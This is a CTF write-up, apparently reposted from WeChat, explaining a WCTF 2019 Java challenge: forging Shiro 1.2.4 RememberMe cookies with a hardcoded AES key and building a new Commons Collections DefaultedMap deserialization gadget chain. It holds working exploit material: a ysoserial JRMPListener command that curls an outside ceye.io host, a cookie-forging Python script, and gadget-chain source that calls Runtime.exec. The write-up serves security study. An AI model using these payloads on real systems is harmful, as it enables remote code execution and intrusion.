Commons Collections3 新Map利用挖掘(WCTF出题笔记)
2019-07-16 14:19:09 Author: mp.weixin.qq.com(查看原文) 阅读量:42 收藏

在WCTF 2019中,每支队伍要求设计两道题目,我参与了其中一道题目的部分设计,该部分为Java安全。

主要利用思路可总结为:

1. shiro 1.2.4反序列化利用

2. Commons Collections新利用链的挖掘

赛后有两支队伍解出了该题目,分别是217和r3kapig,但是比较遗憾以及可惜的是,是通过利用CommonsBeanutils的非预期解出的,这篇文章就主要说说预期解法。

第一部分的shiro 1.2.4的反序列化利用是一个老洞了,主要利用思路便是,在已知加密密钥的情况下,可以伪造RememberMe的Cookie,同时,该Cookie实质上是序列化过的数据,因此当我们已知密钥时,可以构造任意反序列化数据。

题目提供了jar文件,在pom.xml文件中,很清晰地可以看到commons-collections-3.2.1以及shiro1.2.4,而业务功能则是标准的shiro认证流程,因此shiro利用阶段十分简单:

> 利用jar文件中泄漏的硬编码密钥伪造反序列化数据

直接通过构造反序列化RCE在本题中是行不通的,其中细节在Orange的博客中有详细的描述,由于不是本文的重点,因此这里直接给出链接,就不再细说。

通过ysoserial的JRMPListener,我们可以利用CommonsCollections来完成对shiro的攻击。通过下面这条命令我们能新建一个JRMPListener:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections7 "curl http://x2wugy.ceye.io/?aaaa"

生成序列化cookie的脚本为:

import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES

def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "TWthODIwaVk4MmtpVTdkTg==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print(payload)

将key替换为题目中硬编码的key,再运行上面的脚本,便可以得到JRMPClient的序列化数据,替换掉题目中的cookie,便能触发反序列化。

当我们使用ysoserial构建payload会发现一个问题,那便是ysoserial中已有的CommonsCollections3.2.1相关payload都是不可用的,因此便需要我们重新挖掘一个不同于LazyMap和TransformedMap的CommonsCollections利用方式。

接下来则是如何寻找一个有效的gadget完成反序列化的利用。

commons-collections3.2.1公开的几个利用链是:

1. LazyMap

2. TransformedMap

而该题目的采取了一些非常暴力的方式将LazyMap和TransformedMap的链进行了摘除,此时就需要选手挖掘出一条新的commons-collections利用链。

如何挖掘新的链呢?我们可以参考LazyMap的exploit构造过程,结合网上已有的诸多资料,我们可以将LazyMap的调用流程归结为以下几步:

1. BadAttributeValueExpException.readObject

2. TiedMapEntry.toString

3. TiedMapEntry.getValue

4. LazyMap.get

5. ChainedTransformer.transform

6. InvokerTransformer.transform

因此我们目标就可以缩小至寻找一个Map,在这个Map中,调用了transformer.transform,并且transformer的值可控,那么我们便有可能找到这么一个Map。

实际情况是确实存在一个Map满足以上条件:DefaultedMap

DefaultedMap与LazyMap类似,都是在get方法中调用transform,并且调用transform方法的对象都是可控的transformer,所以此时对我们而言,DefaultedMap的利用链和LazyMap的利用链几乎一致。其调用流程可归纳为:

1. BadAttributeValueExpException.readObject

2. TiedMapEntry.toString

3. TiedMapEntry.getValue

4. DefaultedMap.get

5. ChainedTransformer.transform

6. InvokerTransformer.transform

由于其调用流程和LazyMap高度类似,因此我们可以直接在ysoserial中LazyMap相关payload的基础上进行小改。

在ysoserial中,我们新增一个名为CommonsCollections7的payload作为DefaultedMap的payload,实现方式参照LazyMap进行编写:

public BadAttributeValueExpException getObject(final String command) throws Exception {        final String[] execArgs = new String[] { command };        // inert chain for setup        final Transformer transformerChain = new ChainedTransformer(            new Transformer[]{ new ConstantTransformer(1) });        // real chain for after setup        final Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] {                String.class, Class[].class }, new Object[] {                "getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] {                Object.class, Object[].class }, new Object[] {                null, new Object[0] }),            new InvokerTransformer("exec",                new Class[] { String.class }, execArgs),            new ConstantTransformer(1) };

final Map innerMap = new HashMap(); final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); //final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val; }

随后重新编译一份jar,使用这个新的CommonsCollections的payload起一个JRMPListener便可以完成攻击了。


文章来源: https://mp.weixin.qq.com/s/VjTFJueLAwhUizgMllkK6A
如有侵权请联系:admin#unsafe.sh